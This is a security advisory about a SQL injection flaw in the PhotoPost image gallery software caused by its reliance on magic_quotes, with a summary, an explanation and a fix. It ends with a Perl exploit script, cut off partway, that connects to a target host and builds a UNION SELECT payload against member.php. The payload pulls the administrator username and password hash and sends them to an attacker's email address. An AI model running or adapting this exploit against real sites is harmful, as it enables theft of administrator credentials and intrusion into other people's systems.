Summary
PhotoPost is "a popular commercial image publishing software. Everyone loves showing off their photos! Add PhotoPost to your site, or let us install it for you,and your visitors will be able to upload their photos to galleries on your site and interact in photo discussions. Join the 3,500+ sites that are already using PhotoPost and add a fun new dimension to your website". A vulnerability caused by PhotoPost's reliance on magic_quotes allows a remote attacker to cause the program to execute arbitrary SQL statements with which a user can disclose the MD5 hash of the administrator password.

Credit:
The information has been provided by eric basher.

Details
PhotoPost (further on - PP) is built on a highly risky principle of filtering input data, based on magic_quotes:
magic_quotes_gpc boolean
Sets the magic_quotes state for GPC (Get/Post/Cookie) operations. When magic_quotes are on, all ' (single-quote), " (double quote), \ (backslash) and NUL's are escaped with a backslash automatically.

Turning magic_quotes on is neglected by a large percentage of PP users. It is a good idea not to rely on user interaction in the essential matter of data filtering and write nested procedures based on on the mysql_escape_string/mysql_real_escape_string functions instead. Adding a few native strings of code would have definitely fixed that "human" factor. Many users do not have any idea what magic_quotes is and what it is for and what their negligence will lead them to, even despite a warning PP gives while installing. If one were to look into architecture PP is assembled upon, it would become clear that PP should even not attempt to install itself on systems with magic_quotes turned off.

Solution:
Vendor was contacted. Upgrade to the latest version, or set .htaccess php_value magic_quotes_gpc 1

Exploit:
#!/usr/bin/perl
# PhotoPost Arbitrary Data Exploit
# --------------------------------
# INFPG - Hacking&Security Research
#
#
# Use first the exploit code,then You'll get admin MD5 hash and user name on your mail.
#
# Greats: Infam0us Gr0up team/crew/fans,Zone-H,securiteam,str0ke-milw0rm,addict3d,
# Thomas-secunia,Yudha,Dcrab's,Kavling Community,1st Indonesian Security,
# Jasakom,ECHO,etc..betst reagrds t0 whell.
# Info: www.98.to/infamous
#

use IO::Socket;

if (@ARGV < 3)
{
system "clear";
print "PhotoPost Arbitrary Data Exploit\n";
print "\n-------------------------------\n";
print "\nINFGP-Hacking&Security Research\n";
print "\n\n";
print "[?]Usage: perl $0 [host] [path] [mail] \n";
exit(1);
}

system "clear";

$server = $ARGV[0];
$folder = @ARGV[1];
$mail = @ARGV[2];

print "Connecting to host ...\n";
$socket = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => "$ARGV[0]",
PeerPort => "80"); unless ($socket)
{
die "Server is offline\n"
}

print "[+]Connected\n\n";
print "[+]Building string core..\n";

$stringcore = 'member.php?ppaction=rpwd&verifykey=0&uid=0%20union%20select%20"0", $mail, %20concat(username,"%20",%20password)%20from%20users';